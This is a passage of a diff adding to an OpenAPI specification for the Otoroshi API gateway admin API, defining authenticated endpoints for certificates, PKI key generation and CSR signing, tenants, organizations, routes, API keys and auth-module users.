"operationId" : "pki.otoroshi.io.Certificate.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + }, + "delete" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Deletes a specific Certificate using its id", + "operationId" : "pki.otoroshi.io.Certificate.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + } + }, + "/api/pki/keys" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a keypair", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genKeyPair", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenKeyPairResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenKeyPairQuery" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/tenants" : { + "get" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Find all possible Tenant entities", + "operationId" : "organize.otoroshi.io.Tenant.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Creates a Tenant", + "operationId" : "organize.otoroshi.io.Tenant.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/route-compositions/{id}" : { + "get" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind RouteComposition by its id", + "operationId" : "proxy.otoroshi.io.RouteComposition.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind RouteComposition", + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + }, + "put" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Updates a specific RouteComposition using its id", + "operationId" : "proxy.otoroshi.io.RouteComposition.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + }, + "patch" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific RouteComposition using its id", + "operationId" : "proxy.otoroshi.io.RouteComposition.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + }, + "delete" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific RouteComposition using its id", + "operationId" : "proxy.otoroshi.io.RouteComposition.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-module-users/_count" : { + "get" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Get number of entity of kind AuthModuleUser", + "operationId" : "security.otoroshi.io.AuthModuleUser.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/pki/cas/{ca}/certs/_sign" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Sign a certificate based on a CSR", + "operationId" : "otoroshi.controllers.adminapi.PkiController.signCert", + "parameters" : [ { + "name" : "ca", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the ca parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.SignCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/PemCsrBody" + } + } + } + } + } + }, + "/apis/events.otoroshi.io/v1/data-exporters/{id}" : { + "get" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Find resource of kind DateExporter by its id", + "operationId" : "events.otoroshi.io.DateExporter.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind DateExporter", + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + }, + "put" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Updates a specific DateExporter using its id", + "operationId" : "events.otoroshi.io.DateExporter.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + }, + "patch" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific DateExporter using its id", + "operationId" : "events.otoroshi.io.DateExporter.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + }, + "delete" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Deletes a specific DateExporter using its id", + "operationId" : "events.otoroshi.io.DateExporter.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/organizations" : { + "get" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Find all possible Organization entities", + "operationId" : "organize.otoroshi.io.Organization.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Creates a Organization", + "operationId" : "organize.otoroshi.io.Organization.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/service-descriptors/_count" : { + "get" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind ServiceDescriptor", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/alert/events" : { + "get" : { + "tags" : [ "events" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.EventsController.alertEvents", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/apim.otoroshi.io/v1/apikeys" : { + "get" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Find all possible Apikey entities", + "operationId" : "apim.otoroshi.io.Apikey.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Creates a Apikey", + "operationId" : "apim.otoroshi.io.Apikey.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/route-compositions/_template" : { + "get" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind RouteComposition", + "operationId" : "proxy.otoroshi.io.RouteComposition.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind RouteComposition", + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-modules/_template" : { + "get" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Return a template of a resource of kind AuthModule", + "operationId" : "security.otoroshi.io.AuthModule.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind AuthModule", + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/service-descriptors/_template" : { + "get" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind ServiceDescriptor", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ServiceDescriptor", + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-module-users/{id}" : { + "get" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Find resource of kind AuthModuleUser by its id", + "operationId" : "security.otoroshi.io.AuthModuleUser.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind AuthModuleUser", + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModuleUser" + } + } + } + } + } + }, + "delete" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Deletes a specific AuthModuleUser using its id", + "operationId" : "security.otoroshi.io.AuthModuleUser.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModuleUser" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/service-groups" : { + "get" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Find all possible ServiceGroup entities", + "operationId" : "organize.otoroshi.io.ServiceGroup.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : 